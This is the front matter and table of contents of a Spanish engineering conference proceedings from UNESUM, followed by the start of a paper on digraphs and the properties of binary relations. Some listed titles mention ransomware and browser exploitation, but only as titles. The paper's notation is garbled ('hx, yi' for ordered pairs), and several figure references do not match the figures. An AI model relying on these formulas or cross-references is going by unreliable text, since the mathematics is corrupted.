VI CONGRESO INTERNACIONAL DE INGENIERÍAS

“INGENIERÍA PARA FORMAR UNA SOCIEDAD SOSTENIBLE”

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

UNESUM

<http://congresounesum.runaiki.es/>

Ing. Omelio E. Borroto Leal. PhD

RECTOR

Ing. Holger Benny Delgado Lucas. Mg.

DECANO DE LA FACULTAD CIENCIAS TÉCNICAS

Compiladores:

Dr. Alberto Rodríguez Rodríguez. PhD.

Dr. Julio C. Pino Tarragó. PhD.

Ing. Edwin Joao Merchán Carreño. Mg.

Ing. Franklin Jhimmy Toala Arias Mg.

Lcda. Kirenia Maldonado Zuñiga Mg.

Sr. Wilter Leonel Solórzano Álava

Srta. Xiomara Lisbeth Anzules Ávila

Sr. Danny Alan Castro Álava

Srta. María Mercedes Bonilla Yoza

Sr. Edgar Enrique Sacan Pérez

ISBN: 978-9942-8665-92

Comité Científico Internacional

Comité de honor institucional /STAFF

Ing. Omelio E. Borroto Leal. PhD. Rector de la Universidad Estatal del Sur de Manabí.
Presidente del Comité Organizador y Científico.

Ing. Blanca Indacochea Ganchozo. PhD. Vicerrectora Académica.

Comité científico

Dr. Alberto Rodríguez Rodríguez. PhD. (UNESUM).

Dr. Julio C. Pino Tarragó. PhD. (UNESUM).

Dr. C. Yisell Vigoa Escobedo. PhD. (UDG)

Dr. Arlys Michel Lastre Aleaga. PhD. (UTE).

Dr. Idalberto Macías Socarrás. PhD. (UPSE).

Dr. Marcelo Navarro Ojeda. PhD. (ESPOCH).

Ing. Roberto Félix Beltrán Reyna. PhD. (ESPE).

Dr. Yoandrys Morales Tamayo. PhD. (UTC).

Dr. Edilberto Antonio Llanes Cedeño. PhD. (SEK).

Ing. Antonio Luis Barrera Amat. PhD. (ESPOCH).

Lcdo. Jesús Fernández Leyva. PhD. (UTM)

Dr. Fidel Chiriboga Mendoza. PhD (c) (ULEAM)

COMITÉ ORGANIZADOR

Ing. Holger Benny Delgado Lucas. Mg.

Dr. Alberto Rodríguez Rodríguez. PhD.

Ing. Edwin Joao Merchán Carreño. Mg.

Dr. Julio C. Pino Tarragó. PhD.

Lcda. Kirenia Maldonado Zuñiga Mg.

Ing. Franklin Jhimmy Toala Arias Mg.

Eco. Robards Javier Lima Pisco. Mg.

Est. Wilter Leonel Solorzano Alava

Aliados Estratégicos del Congreso.

Editorial Internacional Runaiki.es

Dr. Carlos Chiriguay Villagómez. Director Editorial

www.runaiki.es

Emsotecs. Empresa de Soluciones Informática. Ing. Enrique Zambrano Pilay Gerente General.

www.emsotecs.org

Isotecsa. Empresa de Investigación, Innovación y Desarrollo

Msc. Carlos Morales Paredes. Gerente General www.isotecsa.org

ÍNDICE

Tecnologías de la Información y Sistemas Computacionales	17
REPRESENTACIÓN GRÁFICA PARA LA MODELACIÓN DE RELACIONES	
CONJUNTISTAS EN LA FORMACIÓN DE INGENIEROS	18
EL APRENDIZAJE DE LOS GRAFEMAS S, C, Z, A TRAVÉS DE PROGRAMAS	
COMPUTACIONALES	27
APLICACIÓN INFORMÁTICA PARA COMPROBAR LA INCIDENCIA DEL BORNOUT	
EN ESTUDIANTES UNIVERSITARIOS	33
IMPACTO DEL USO DE LA TECNOLOGÍA EN LA FORMACIÓN INTEGRAL DE LOS	
ESTUDIANTES	42
SER UN HACKER ÉTICO O UN DELINCUENTE INFORMÁTICO	48
EXPLOTANDO VULNERABILIDADES DE NAVEGADORES MEDIANTE	
APLICACIÓN INFORMÁTICA SUSTENTADA EN INGENIERÍA SOCIAL COMO	
MÉTODO DE HACKING.....	54
ANÁLISIS CUANTITATIVO DE LAS EXPECTATIVAS EN UN CONTEXTO DE	
APRENDIZAJE COLABORATIVO APOYADO POR LAS TIC	67
SISTEMA DE RIEGO AUTOMATIZADO CON ARDUINO EN EL SECTOR AGRÍCOLA	
.....	75
APLICACIÓN INFORMÁTICA PARA COMPROBAR LOS RESULTADOS DE	
CÁLCULOS ALGEBRAICOS Y FÍSICOS.....	83
NORMATIVAS LEGALES PARA BRINDAR SEGURIDAD INFORMÁTICA.....	89
DESARROLLO DEL SERVIDOR DE LISTAS DE TRABAJO DICOM PARA LA	
SOLUCIÓN PACS-RIS DEL CENTRO DE INFORMÁTICA MÉDICA	95
SEGURIDAD EN LOS SISTEMAS DE INFORMACIÓN POR PROCESOS.....	101

DEMOSTRACIÓN DE TROYANO HIDDEN TEAR RANSOMWARE DE CÓDIGO ABIERTO CON CIFRADO SIMÉTRICO AES QUE SE EJECUTA EN COMPUTADORAS CON SISTEMA OPERATIVO WINDOWS.....	115
APLICACIÓN INFORMÁTICA QUE PERMITA EL MANTENIMIENTO PREVENTIVO EN SMARTPHONE DE GAMA BAJA.....	128
BASES ECONÓMICAS EN EL SECTOR RURAL SAN JOSÉ DE PIÑAS CANTÓN JIPIJAPA- MANABÍ, ECUADOR.....	135
LA INTELIGENCIA ARTIFICIAL Y LA DISPONIBILIDAD AL PÚBLICO	140
MICROECONOMÍA SUSTENTADA EN EL COMERCIO INFORMAL DEL CASCO COMERCIAL DE JIPIJAPA - MANABÍ – ECUADOR.....	146
PROTOTIPO ANALÓGICO, CONTROL DE NIVELES DE LÍQUIDOS, UTILIZACIÓN DE COMPONENTES ELECTRÓNICOS	152
ESTUDIO DE LA INNOVACIÓN Y CREATIVIDAD QUE PRESENTAN LOS NEGOCIOS DEL CANTÓN JIPIJAPA	160
IMPACTOS AMBIENTALES DE LA BASURA ELECTRÓNICA DEL CANTÓN JIPIJAPA	166
USO DE LOS PODCAST EN LA EDUCACIÓN SUPERIOR.....	175
PÉRDIDA DE COMUNICACIÓN EN ADOLESCENTES Y PADRES POR EL USO INCORRECTO DE LAS REDES SOCIALES	186
SOFTWARE DE EVALUACIÓN DE CONOCIMIENTOS A TRAVÉS DE CUESTIONARIOS.....	198
APLICACIÓN BAGMEDIC WEB PARA EL TRATAMIENTO DE PATOLOGÍAS BÁSICAS.....	212
IMPLEMENTACIÓN DE UN SISTEMA INFORMÁTICO Y PÁGINA WEB PARA LA GESTIÓN DE VENTA DE PASAJES DE RUTA DE TRANSPORTE TERRESTRE.....	220

LA DISTRIBUCIÓN PROBABILÍSTICA DE LOS NÚMEROS PRIMO	229
GENERACIÓN DE ENERGÍA APLICANDO EL MÉTODO ALTERNO	239
PROGRAMA INFORMÁTICO DIDÁCTICO BASADO EN VISUAL BASIC	244
PROGRAMA POR COMANDO DE VOZ PARA MOSTRAR LOS SÍLABOS DE LAS ASIGNATURAS DEL TERCER SEMESTRE DE LA CARRERA DE LA TECNOLOGÍA DE LA INFORMACIÓN	250
SISTEMA DE PREGUNTAS Y RESPUESTAS DE LOS SABERES QUE SE INTEGRAN EN EL TERCER NIVEL DE T.I.	258
APLICACIÓN INFORMÁTICA SUSTENTADA EN LA PLATAFORMA DEV C++ PARA CALCULAR LA FUERZA ENTRE CARGAS	268
SOLUCIONES A LOS PROBLEMAS RECURRENTE QUE SE PRESENTAN EN LAS IMPRESORAS 3D	280
LA NANOTECNOLOGÍA EN FUNCIÓN DE LA EDUCACIÓN SUPERIOR	288
APLICACIÓN INFORMÁTICA PARA GENERAR TABLAS DE VALORES DE VERDAD EN APOYO AL PROCESO DE ENSEÑANZA-APRENDIZAJE	294
EL COMERCIO ELECTRÓNICO COMO FACTOR CLAVE EN EL DESARROLLO DE UNA MICROEMPRESA	304
EL APRENDIZAJE DE LA ASIGNATURA MANTENIMIENTO DE HARDWARE EN LOS ESTUDIANTES DE TECNOLOGÍAS DE LA INFORMACIÓN	320
APLICACIÓN INFORMÁTICA PARA ADMINISTRAR NAVEGADORES INSTALADOS EN EL COMPUTADOR CON OPCIONES DE NAVEGACIÓN PRIVADA	329
INCIDENCIAS DE ADICCIÓN TECNOLÓGICA Y EL CONTROL QUE TIENE FRENTE A SUS USUARIOS	335
SEGURIDAD INFORMÁTICA UN TEMA DE IMPORTANCIA PARA EL USUARIO	339

ETHYKA LA CONCIENCIA QUE EVITARÁ QUE LA INTELIGENCIA ARTIFICIAL APRENDA DE LAS PERSONAS A SER INFAME.....	346
BENEFICIO DE AIPOLY VISIÓN EN LAS PERSONAS NO VIDENTES	355
UTILIZACIÓN DEL ENFRIAMIENTO LÍQUIDO EN ORDENADORES	365
INTELIGENCIA ARTIFICIAL EN LOS DISPOSITIVOS MÓVILES.....	379
INFLUENCIA DE LOS EQUIPOS INFORMÁTICOS EN LOS ESTUDIANTES DE LA CARRERA TECNOLOGÍAS DE LA INFORMACIÓN.....	392
TECNOLOGÍA VERDE Y SU IMPACTO EN EL MEDIO AMBIENTE	400
CONSERVACIÓN DOCUMENTAL DIGITAL Y SEGURIDAD EN EL ÁMBITO INFORMÁTICO.....	407
INCIDENCIA EN LOS CONECTORES Y CABLES DE REDES DE LA COMPUTADORA	415
LA CRIPTOGRAFÍA HÍBRIDA COMO HERRAMIENTA DEL SISTEMA DE INFORMACIÓN	423
ANÁLISIS DE SEGURIDAD, PRIVACIDAD Y DIFERENCIAS ENTRE IPV4 E IPV6 .	432
EL ORDENADOR CUÁNTICO DENTRO DE UNA PLATAFORMA COMPUTACIONAL ESTABLE Y PROGRAMABLE.....	439
AUTOMATIZACIÓN DEL MARKETING DIGITAL APLICANDO EL MACHING LEARNING.....	446
APLICACIÓN WEB Y MÓVIL APLICADA EN LOS SECTORES TURÍSTICOS DEL CANTÓN JIPIJAPA.....	452
ANÁLISIS DE AMENAZAS A LOS MENORES EN LA WEB: SEXTING, GROOMING Y CYBERBULLYING.....	460

ANÁLISIS DE LA UTILIZACIÓN DE INTELIGENCIA ARTIFICIAL EN EL LABORATORIO DE ELECTRÓNICA CARRERA DE INGENIERÍA EN SISTEMAS COMPUTACIONALES	472
EL USO DE DRONES O AERONAVES NO TRIPULADOS COMO SEGURIDAD UTILIZADOS EN LA UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ.....	482
ANÁLISIS DE LAS NUEVAS TECNOLOGÍAS EN EL ÁMBITO EDUCATIVO DE JIPIJAPA.....	488
SOFTWARE QUE INFLIJO UN DELITO INFORMÁTICO EN LA UNIVERSIDAD ESTATAL DE SUR DE MANABÍ.....	496
EVALUACIÓN PARA UN NUEVA ERA DE LOS CENTROS DE CÓMPUTO VCLOUDPOINT	505
SEGURIDAD EN LA EVOLUCIÓN DE LOS CIBERDELITOS.	516
ESTUDIO DE SEGURIDAD APLICADO EN REDES GPON PARA CONSERVACIÓN DE LA ESTRUCTURA EVITANDO PÉRDIDA EN LA	520
INFLUENCIA DE LA INGENIERÍA SOCIAL EN LOS ATAQUES INFORMÁTICOS..	525
LAS REDES SOCIALES COMO HERRAMIENTA EDUCATIVA.....	532
IMPORTANCIA DE LAS NORMAS DE SEGURIDAD DE DATOS EN LA DATAWAREHOUSE	538
EL USO DE LA TECNOLOGÍA Y LA INFLUENCIA QUE EJERCE EN LA JUVENTUD DEL SIGLO XXI.....	545
SEGURIDAD EN LA INFORMACIÓN PERSONAL DE LOS VIDEOJUEGOS.....	552
CREACIÓN DE UN DEPARTAMENTO DE INFORMÁTICA FORENSE EN LA “UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ”	556
USO CORRECTO DE LAS REDES SOCIALES.....	565
LA COMUNICACIÓN EN LA ERA DE LA TECNOLÓGICA.....	573

IMPACTO EN EL ÁMBITO INFORMÁTICO DE LOS PERIFÉRICOS MICROINFORMÁTICOS	577
LA INTELIGENCIA ARTIFICIAL COMO APOORTE A LA EDUCACIÓN SUPERIOR .	585
DESARROLLAR UN SENSOR DE FRECUENCIA CARDIACA, UTILIZANDO LA TECNOLOGÍA DE ARDUINO DIRIGIDO A DEPORTISTAS Y USUARIOS EN GENERAL.....	591
ANÁLISIS DE SKIMMING APLICADO A CAJEROS AUTOMÁTICOS.....	598
SOFTWARE PARA CONTROLAR UN CARRO A ESCALA A TRAVÉS DE UN DISPOSITIVO MÓVIL POR MEDIO DE BLUETOOTH Y AUTOMÁTICAMENTE.....	610
ENSEÑANZAS CON TECNOLOGÍA DE LA INFORMACIÓN EN LA EDUCACIÓN PRIMARIA	627
GUÍA CLAVE PARA EL APRENDIZAJE DE DIAGRAMA DE FLUJOS	634
PERIFÉRICOS MICROINFORMÁTICOS DE COMPUTADORAS PARA LA ENSEÑANZA-APRENDIZAJE A NIVEL SUPERIOR	643
IMPORTANCIA DEL USO DE LAS TICS EN LAS ASIGNATURAS DE PROFESIONALIZACIÓN EN LA CARRERA DE TECNOLOGÍA DE LA INFORMACIÓN	662
MARKETING ONLINE PARA LA EMPRESA PURIFICADORA DE AGUA “AQUA SANTA” DEL CANTÓN JIPIJAPA	674
INCIDENCIA DE LA TECNOLOGÍA DE LA INFORMACIÓN Y COMUNICACIÓN EN LAS ENSEÑANZAS ACADÉMICAS	682
EL COMERCIO ELECTRÓNICO COMO CLAVE EN EL DESARROLLO MICROEMPRESARIAL.....	693
RESIDUOS ELECTRÓNICOS DE UN COMPUTADOR QUE AFECTAN AL MEDIO AMBIENTE.....	702

EL USO DE PLATAFORMAS VIRTUALES Y SU IMPACTO EN EL PROCESO DE APRENDIZAJE EN LA UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ.....	710
PROTOTIPO DE GUANTE ULTRASÓNICO PARA PERSONAS CON DISCAPACIDAD VISUAL.....	718
LAS SUPERCOMPUTADORAS Y SU IMPACTO EN EL MEDIO SOCIAL.....	732
CREACIÓN Y EXPLOTACIÓN DE UN DATAMART BASADO EN INDICADORES SOCIALES DE ESTUDIANTES EN LA UNESUM	744
APLICACIÓN DEL PLAN ESTRATÉGICO DE SEGURIDAD INFORMÁTICA PARA LA PROTECCIÓN DE LOS RECURSOS INFORMÁTICOS EN LOS CENTROS DE CÓMPUTO	755
APLICACIÓN DE LAS TICS A TRAVÉS DE DISPOSITIVOS TECNOLÓGICOS DIDÁCTICOS EN EL PROCESO DE ENSEÑANZA APRENDIZAJE EN LA EDUCACIÓN BÁSICA.....	767
BENEFICIOS DEL MANTENIMIENTO PREVENTIVO Y CORRECTIVO APLICADOS A LOS EQUIPOS INFORMÁTICOS CON EL FIN DE MEJORAR SU RENDIMIENTO OPERATIVO.....	781
PROTOTIPO DE GUANTE ULTRASÓNICO PARA PERSONAS CON DISCAPACIDAD VISUAL.....	791
INCIDENCIA DEL MAL USO DE LA WEB Y SEGURIDAD EN EL PROCESO DE APRENDIZAJE EN ESTUDIANTES DEL NOVENO AÑO BÁSICO	799
USO DE MÓDULOS CON MICROCONTROLADORES PIC COMO HERRAMIENTAS DIDÁCTICAS PARA EL FORTALECIMIENTO EN EL PROCESO DE ENSEÑANZA APRENDIZAJE.....	812
INNOVACIÓN EDUCATIVA EN LA ENSEÑANZA A TRAVÉS DE LA ROBÓTICA PARA ESTUDIANTES DE NIVEL SUPERIOR	820

USO DE SOFTWARE LIBRE PARA LA GESTIÓN DE ARCHIVOS EN LOS PROCESOS ACADÉMICOS UNIVERSITARIOS	830
UTILIZACIÓN DE HERRAMIENTAS DIGITALES EDUCATIVAS EN EL PROCESO DE ENSEÑANZA – APRENDIZAJE EN LA EDUCACIÓN INICIAL.....	837
LAS TIC COMO ESTRATEGIA DE INNOVACIÓN EN LA ENSEÑANZA APRENDIZAJE EN INSTITUCIÓN NIVEL MEDIO.....	844
Construcción-Ingeniería Civil	853
CÁLCULO MEDIANTE MÉTODOS NUMÉRICOS DEL ROTOR DE UN AEROGENERADOR	854
ESTUDIO DE PROPIEDADES EN LA ZONA AFECTADA TÉRMICAMENTE DE UNA UNIÓN SOLDADA USANDO LA SIMULACIÓN DE TERMODEPENDENCIA	866
SIMULACIÓN DEL ENSAYO A TRACCIÓN COMPARANDO RESULTADOS OBTENIDOS POR ELEMENTOS FINITOS Y CON EL SOFTWARE SIMTRA	876
EFICIENCIA DE CONDUCCIÓN DEL CANAL MARGEN DERECHO-SANTA ANA, ECUADOR	885
MEDICIÓN DE LA TEXTURA SUPERFICIAL DEL PAVIMENTO EN LA AVENIDA ALEJO LASCANO, CANTON JIPIJAPA.....	893
ANÁLISIS TÉCNICO-ECONÓMICO DE LOS BIENES PATRIMONIALES E INMUEBLES DE LOS CANTONES CHONE Y TOSAGUA.....	899
CRITERIOS DE ANÁLISIS DE CÁLCULO DE LA REFRACCIÓN SÍSMICA PARA CALCULAR LA VELOCIDAD DE ONDA DE CORTE	910
MODELO PARA EL CÁLCULO HIDRÁULICO EN CAPTACIONES DE AGUAS SUPERFICIALES MEDIANTE UNA APLICACIÓN INFORMÁTICA	920
CRITERIOS DE REFORZAMIENTO ESTRUCTURAL MEDIANTE LA UTILIZACIÓN DE FIBRA DE CARBONO.....	933
LOS PROYECTOS DE OBRAS PÚBLICAS.....	948

DISEÑO ESTRUCTURAL DE LA CALLE TRANSVERSAL 1,2,3 Y LONGITUDINAL 2,3,4 DE LA CIUDADELA RENATO BURGOS, CANTÓN JIPIJAPA.	956
EL EFECTO P-Δ ESTÁ PRESENTE EN EDIFICIOS APORTICADOS CONSTRUIDOS EN MANABÍ, SEGÚN EL NEC-15.....	965
INDICADOR RUIDO EN EL ESTUDIO Y CONSTRUCCION DE VÍAS	973
LOS ACCIDENTES DEL TRÁNSITO EN ECUADOR ASOCIADOS AL FACTOR HUMANO, EDUCACION VIAL, VEHÍCULO Y LA VÍA.....	983
PROBLEMÁTICA DE LAS AGUAS RESIDUALES EN LA CALLE IMBABURA ENTRE MONTALVO Y 10 DE AGOSTO	989
ANÁLISIS SÍSMICO COMPARATIVO DE TRES EDIFICIOS DE MEDIANA ALTURA UTILIZANDO DIFERENTES SISTEMAS ESTRUCTURALES	993
TIPOS DE LOSAS Y SU INFLUENCIA EN LOS COSTOS	1001
INTERVENCIÓN URBANA EN LA MARGEN DERECHA DEL RÍO PORTOVIEJO. TRAMO PUENTE SAN JOSÉ – PUENTE VELASCO IBARRA, PROPUESTA ALTERNATIVA	1018
DISEÑO DE UN PROGRAMA PARA LA REHABILITACIÓN AMBIENTAL EN EL ÁREA DE PRÉSTAMO DE LA CANTERA JOA - JIPIJAPA Y SU INFLUENCIA EN LA CONSTRUCCIÓN DE LAS CARRETERAS.....	1026
DINAMICA DEL ANÁLISIS DE PRECIOS UNITARIO Y SU INCIDENCIA EN EL COSTO DE OBRAS.....	1035
USO DE GEOSINTÉTICOS PARA MEJORAR LA ESTRUCTURA DE PAVIMENTO EN LA VÍA JIPIJAPA - PUERTO CAYO, PROVINCIA DE MANABÍ.....	1039
CARACTERIZACIÓN FÍSICO-MECÁNICO DEL SUELO UTILIZADO COMO CIMENTACIÓN PARA EDIFICACIONES DE HASTA TRES NIVELES.....	1045

LOS ACCIDENTES DEL TRÁNSITO EN ECUADOR ASOCIADOS AL FACTOR HUMANO, EDUCACION VIAL, VEHÍCULO Y LA VÍA.....	1062
ANÁLISIS COMPARATIVO DE UN EDIFICIO EMPOTRADO VERSUS UN EDIFICIO CON AISLADORES SÍSMICOS PARA TODOS LOS SUELOS DEL ECUADOR	1068
DISEÑO DE VIVIENDA DE INTERÉS SOCIAL UTILIZANDO MATERIALES ALTERNATIVOS Y SEGUROS - CIUDADELA MANUEL INOCENCIO PARRALES Y GUALE, CANTÓN JIPIJAPA	1074
DISEÑO DEL SISTEMA DE ALCANTARILLADO SANITARIO, CON UNA PROPUESTA DE TRATAMIENTO, PARA LA COMUNA PUERTO LA BOCA, CANTÓN JIPIJAPA	1079
MODELO PARA EL CÁLCULO HIDRÁULICO EN CAPTACIONES DE AGUAS SUPERFICIALES MEDIANTE UNA APLICACIÓN INFORMÁTICA	1085
APLICACIÓN DE SISTEMA DE BIOTANQUES PARA EL TRATAMIENTO DE AGUAS RESIDUALES DOMICILIARIAS EN EL SITIO PIMPIGUASÍ, PARROQUIA CALDERON – CANTÓN PORTOVIEJO.....	1098
DISEÑO PARA VIVIENDA DE INTERÉS SOCIAL CON MATERIALES BIOCONSTRUCTIVOS ALIVIANADOS Y SEGURO EN LA CIUDADELA ELOY ALFARO DE LA CIUDAD DE JIPIJAPA	1103
DESCRIPCIÓN DEL SISTEMA DE AGUA CAZALAGARTO – SAN MANUEL QUE BENEFICIA A LA CIUDAD DE JIPIJAPA.....	1108
EL RIO PORTOVIEJO, TERRITORIOS Y PROYECTOS	1112
ESPACIOS PÚBLICOS Y CIUDAD. LA ROTONDA, PORTOVIEJO MANABÍ.....	1121
ESTUDIO DE LA RED DE ALCANTARILLADO SANITARIO EN LA AVENIDA MEJÍA ENTRE FEBRES CORDERO Y 9 DE OCTUBRE DE JIPIJAPA.....	1129

UTILIZACIÓN DEL GEOGEBRA COMO SOFTWARE DE APOYO AL ESTUDIO DE LA MATERIA DE DINÁMICA.....	1134
IMPACTO AMBIENTAL OCASIONADO POR LA CANTERAS EN EL ENTORNO DE PICOAZÁ	1138
INSTALACIONES ELÉCTRICAS APLICADAS A LAS CONSTRUCCIONES CIVILES	1145
INSTALACIONES HIDROSANITARIAS APLICADAS A LAS CONSTRUCCIONES CIVILES	1153
EXPERIENCIA EN CONSTRUCCIÓN DESDE LA UNIVERSIDAD. CASO DE ESTUDIO UNESUM.....	1159
ANÁLISIS DEL MANEJO E IMPACTO AMBIENTAL EN EL RELLENO SANITARIO DEL CANTÓN JIPIJAPA	1163
RED DE ALCANTARILLADO PLUVIAL PARA LA CABECERA PARROQUIAL DE CAMPOZANO, DEL CANTÓN PAJÁN, PROVINCIA DE MANABÍ.	1173
EL USO DEL PROGRAMA MODELLUS 4.01, EN SIMULACIÓN DE LOS PROBLEMAS DE MOVIMIENTO.	1181
EVALUACIÓN DE LA CONDICIÓN DEL PAVIMENTO FLEXIBLE DE LA CALLE BOLIVAR ENTRE VILLAMIL Y ANTEPARA- DE JIPIJAPA.....	1200
EVALUACIÓN DE PATOLOGÍAS DE FALLA EN EL PUENTE DE LA CALLE 10 DE AGOSTO QUE ATRAVIESA EL RÍO JIPIJAPA.....	1206
SOFTWARE MALICIOSO EN DISPOSITIVOS MOVILES CON SISTEMA OPERATIVO ANDROID.	1212
EL CONOCIMIENTO TÉCNICO Y LEGAL PARA LA BUENA PRÁCTICA PROFESIONAL DE LA INGENIERÍA CIVIL	1217

ANÁLISIS DE LA ESTABILIZACIÓN DE TALUDES EN EL RELLENO SANITARIO DE LA CIUDAD DE JIPIJAPA	1221
TOPOGRAFÍA CON DRONES.....	1233
EVALUACIÓN DE LA VULNERABILIDAD SÍSMICA DE EDIFICIOS DE HORMIGÓN ARMADO DE LA UNIVERSIDAD LAICA ELOY ALFARO DE MANABÍ MEDIANTE LA APLICACIÓN DE FEMA P-154	1240
TIPOS DE LOSAS Y SU INFLUENCIA EN LOS COSTOS	1252
Agropecuaria-Alimentos	1258
CALIDAD FÍSICOQUÍMICA DE LOS QUESOS AMASADOS ELABORADOS EN LA PROVINCIA DEL CARCHI.....	1259
EFFECTOS DE LA FERTILIZACIÓN Y TIPOS DE SUSTRATOS SOBRE LA PRODUCCIÓN DE LECHUGAS (LACTUCA SATIVA L), ACELGA (BETA VULGARIS VAR. CICLA). TOMATE (SOLANUM LYCOPERSICUM) BAJO INVERNADERO...	1269
EL RÉGIMEN DE RIEGO PARA CULTIVOS EN MANABÍ, ECUADOR: ESTUDIO PRELIMINAR.....	1279
EFFECTO DE LA SUPLEMENTACIÓN ENERGÉTICO-MINERAL SOBRE EL PERFIL METABÓLICO Y LOS INDICADORES REPRODUCTIVOS CON SU IMPACTO ECONÓMICO EN LA REGIÓN ANDINA DE ECUADOR	1289
DETERMINACIÓN DE LA CONCENTRACIÓN DE CADMIO EN SPINACIA OLERACEA COMERCIALIZADA EN LA CIUDAD DE MACHALA MEDIANTE ESPECTROSCOPIA DE ABSORCIÓN ATÓMICA	1308
LA RESOLUCIÓN DE PROBLEMAS MATEMÁTICOS, VINCULADOS A LAS CIENCIAS AGROPECUARIAS.....	1321
ZONIFICACIÓN DE LA FINCA EXPERIMENTAL SAN FRANCISCO SITUADA EN LA PROVINCIA DE CARCHI ECUADOR.....	1335
Turismo y Medio Ambiente	1345

HUMEDAL LA SEGUA; PERSPECTIVAS PARA UN TURISMO SOSTENIBLE..... 1346

Tecnologías de la Información y Sistemas Computacionales

REPRESENTACIÓN GRÁFICA PARA LA MODELACIÓN DE RELACIONES CONJUNTISTAS EN LA FORMACIÓN DE INGENIEROS

Dr. C. Alberto Rodríguez Rodríguez, PhD.

Lcda. Angelica Rocío Vargas Garay. Mg.

Ing. Holger Benny Delgado Lucas. Mg.

**UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ – ECUADOR/ POLITÉCNICO
INTERNACIONAL, BOGOTÁ – COLOMBIA.**

alberto.rodriguez@unesum.edu.ec

angelica.vargas@pi.edu.co

holger.delgado@unesum.edu.ec

RESUMEN

Dentro de las actividades que debe realizar un ingeniero, que involucran la modelación de procesos y el diseño de sistemas, se requiere en muchos casos de una representación gráfica de las relaciones que se dan entre los diferentes componentes, de manera que dicha representación sea simple, sugerente y de fácil interpretación. Además, las propiedades de dichas relaciones permiten predecir y clasificar los comportamientos de los objetos que se involucran en los sistemas. Es por ello que el presente trabajo pretende mostrar las principales definiciones de grafos, sus propiedades, y mostrar métodos alternativos para establecer el clustering de grafos y la determinación del core-periphery en los mismos, a través de la aplicación de un algoritmo para influencias indirectas. El principal impacto logrado está relacionado con las posibilidades de alcanzar a explicar el fenómeno que se presenta entre sus diferentes componentes, así como realizar predicciones frente a su comportamiento.

PALABRAS CLAVE: clustering, core-periphery, grafos, relación, sistemas

ABSTRACT

Among the activities that an engineer must carry out, involving the modeling of processes and the design of systems, in many cases a graphic representation of the relationships that exist between the different components is required, so that said representation is simple, suggestive and easy to interpret. In addition, the properties of these relationships allow to predict and classify the behavior of the objects that are involved in the systems. That is why this work aims

to show the main definitions of graphs, their properties, and show alternative methods to establish the clustering of graphs and the determination of the core-periphery in them, through the application of an algorithm for indirect influences. The main impact achieved is related to the possibilities of being able to explain the phenomenon that occurs between its different components, as well as making predictions about its behavior.

KEYWORDS: clustering, core-periphery, graphs, relationship, systems

1. INTRODUCCIÓN

Dentro de los diferentes fenómenos que se presentan en la naturaleza, interactúan diferentes componentes que no representan objetos aislados, sino que se organizan de tal manera que permiten la formación de un sistema. La estructura del sistema queda establecida si existe al menos una relación entre sus componentes; las relaciones pueden expresar sentido de ubicación, interacción, comparación, orden, pertenencia, etc., entre entidades de cualquier naturaleza que pertenecen a conjuntos bien determinados. Luego el concepto de relación es una estructura esencial para el razonamiento, siendo imposible razonar o explicar cualquier fenómeno sino es a partir de las relaciones entre los objetos involucrados.

Las diferentes relaciones que se pueden dar entre conjuntos de elementos se pueden representar gráficamente a través de grafos, los cuales permiten modelar la interacción entre los diferentes componentes de un sistema, además de establecer los diferentes subconjuntos que existen dentro del mismo sistema, y como se construye el sistema estableciendo su núcleo y periferia, mediante la aplicación de un algoritmo para influencias indirectas, que permite establecer la importancia de cada uno de los elementos que interviene en un sistema.

2. DESARROLLO

Hipótesis

La representación gráfica de un sistema permite la identificación y el análisis de la importancia de sus diferentes componentes, así como la predicción y comportamiento de los mismos.

Descripción

A continuación, se describen los principales conceptos de grafos, y los métodos para clustering, core-periphery y el algoritmo para influencias indirectas utilizado.

Definición: Un grafo orientado o grafo dirigido (abreviadamente dígrafo), consiste en un conjunto de vértices V y una relación $E \subseteq V \times V$ cuyos pares ordenados llamamos arcos o aristas.

Representaremos los vértices de un grafo por puntos o círculos en el plano y a sus aristas por líneas rectas o curvas, orientadas.

Ejemplo: - Consideremos la relación inversa de la relación R a la relación R^{-1} definida como $R^{-1} = \{y, x \mid x, y \in R\}$, con vértices $\{J, P, M, A\}$. Obtenemos entonces el dígrafo de la figura 7.

Figura 1: **Dígrafo.**

Figura 2: **Dígrafo.**

Denotemos al dígrafo con vértices V y aristas E por $D = \langle V, E \rangle$. Si r y w son vértices de D , entonces un arco hr, wi se dice que está orientado o dirigido de r a w o que une a r y w . Denotemos por $V(D)$ y $E(D)$ a los conjuntos de vértices y aristas del dígrafo D respectivamente si estos no se mencionan explícitamente.

Ejemplo: Dado el conjunto $A = \{a, e, i, o, u\}$ y la relación $R = \{ha, ai, ha, oi, he, ii, ha, ei, hu, oi, ho, ui\}$, obtenemos el dígrafo de la figura 7.

Propiedades de las relaciones binarias

Una vez que se crean objetos para la moderación matemática resulta interesante y de importancia estudiar sus propiedades, ya que a través de estas podemos predecir comportamientos o clasificar los objetos que estamos modelando.

Definición: Una relación binaria R en un conjunto A se dice que es reflexiva si para toda $x \in A$ se tiene que $hx, xi \in R$

Ejemplo: Las siguientes relaciones son reflexivas

1. $\{hx, yi | x \in \mathbb{R}, y \in \mathbb{R}, x \leq y\}$ Pues todo número real x cumple que $x \leq x$.
2. $\{hA1, A2 i | A1 \subseteq A2 \subseteq A\}$, donde A es un conjunto cualquiera. Este conjunto es subconjunto de sí mismo.

De modo que en una relación reflexiva cada elemento del conjunto está relacionado con el mismo, cada vértice del dígrafo correspondiente deberá tener asociado un lazo (figura 9)

Figura 3: Vértice de dígrafo.

Definición: Una relación binaria R en un conjunto A se dice que es irreflexiva si para toda $x \in A$ se tiene que $hx, xi \notin R$

Ejemplo: Las siguientes relaciones son irreflexivas

1. $\{hx, yi | x \in \mathbb{R} \text{ y } y \in \mathbb{R} \text{ y } x < y\}$ Pues ningún número real x cumple que $x < x$.
2. $\{hA1, A2 i | A1 \subset A2 \subseteq A\}$, donde A es un conjunto cualquiera, pues ningún conjunto es subconjunto propio de él mismo.

Está claro que, según la definición, el dígrafo de una relación irreflexiva no puede tener lazos.

Definición: Una relación binaria R en un conjunto A se dice que es simétrica si para toda $x \in A$ y para toda $y \in A$ se tiene que si $hx, yi \in R$, entonces $hy, xi \in R$

Ejemplo: Las siguientes relaciones son simétricas

